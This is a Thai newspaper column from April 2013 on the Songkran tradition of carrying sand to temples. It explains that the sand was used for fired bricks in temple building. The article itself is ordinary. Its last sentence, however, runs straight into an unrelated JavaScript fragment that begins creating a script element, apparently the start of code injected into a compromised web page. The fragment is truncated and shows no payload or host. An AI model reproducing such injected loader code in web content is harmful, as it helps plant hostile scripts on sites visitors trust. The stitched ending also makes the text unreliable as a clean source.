มติชนรายวัน ฉบับประจำวันอังคารที่ 16 เมษายน 2556

 

          “ขนทรายเข้าวัด” เป็นประเพณีดั้งเดิมของชุมชนชาวบ้านนับถือผี-พราหมณ์-พุทธ เพื่อเตรียมไว้ทำอิฐเผา เป็นวัสดุก่อสร้างศาสนสถานในวัด

          “ก่อพระทราย” เป็นอุบายวิธีให้ชาวบ้านร่วมกันไปหาแหล่งทราย แล้วขนทรายเข้าวัด โดยอ้างว่าเพื่อเตรียมไว้ก่อพระทรายเอาบุญวันสงกรานต์

          และไม่เกี่ยวกับทรายวัดติดตีนชาวบ้านที่เดินเข้าออกวัด เมื่อถึงสงกรานต์ต้องขนทรายมาคืน เพราะนี่เป็นนิทานหลอกกันเล่นๆในวงข้าววงเหล้าสมัยก่อนจนถึงสมัยนี้

          ทรายไม่มีทั่วไป แต่มีเป็นที่ทางเฉพาะ เช่น บริเวณพื้นใต้แม่น้ำ, ลำคลอง, หนอง, บึง, ลำราง, ทางน้ำ, ลุ่ม, ลาด, ฯลฯ ซึ่งต้องมีคนไปขุดตักควักคุ้ยเอามา เพราะไม่มีพ่อค้าดูดทรายใส่เรือใส่รถมาขายอย่างทุกวันนี้

          ชาวบ้านแต่ก่อนนัดหมายกันก่อนถึงสงกรานต์ ไปทำบุญขนทรายเข้าวัด แล้วกองไว้ลานวัดเตรียมถวายพระสงฆ์

          เมื่อถึงสงกรานต์ก็พากันไปวัดทำบุญโดยก่อกองทรายสมมุติเป็นรูปพระเจดีย์ขนาดเล็กๆเรียงรายตามถนัดของแต่ละคน เสร็จแล้วก็โยงสายสิญจน์ถวายพระสงฆ์ในวัดเอาไว้ทำอิฐใช้ก่อสร้างในวัด แล้วเชื่อว่าได้บุญกุศลค้ำจุนพระพุทธศาสนา

          นี่เป็นพยานว่าประเพณีขนทรายเข้าวัด ไม่ใช่พื้นเมืองดั้งเดิม แต่เพื่อก่อพระเจดีย์ทรายซึ่งต้องมีขึ้นเมื่อรับพุทธศาสนาจากอินเดียแล้ว ราวหลัง พ.ศ. 1000

          นักวิชาการทางประวัติศาสตร์ศิลป์จากคณะโบราณคดี ม. ศิลปากร เคยอธิบายตั้งแต่ปีก่อนว่าอิฐเผายุคทวารวดีสืบเนื่องถึงอิฐเผายุคเขมร ล้วนมีทรายเป็นส่วนผสมสำคัญอยู่ด้วย เพื่อให้อิฐแกร่งและทนทาน

          ช่างก่อสร้างเป็นใครก็ได้ เช่น ชาวบ้าน, พระสงฆ์, ฯลฯ เป็นผู้ใช้ทรายสงกรานต์ทำอิฐเผาซ่อมสร้างปูชนียสถานสำคัญในวัด

          ชุมชนโบราณ สามัญชนไม่สร้างบ้านด้วยอิฐไม่ว่ากรณีใดๆ อิฐใช้สร้างวัดกับวังเท่านั้น

          เรื่องอย่างนี้ต้องผลิตซ้ำทุกปี เพราะมีคำถามประจำสงกรานต์var d=document;var s=d.createElement(‘script’);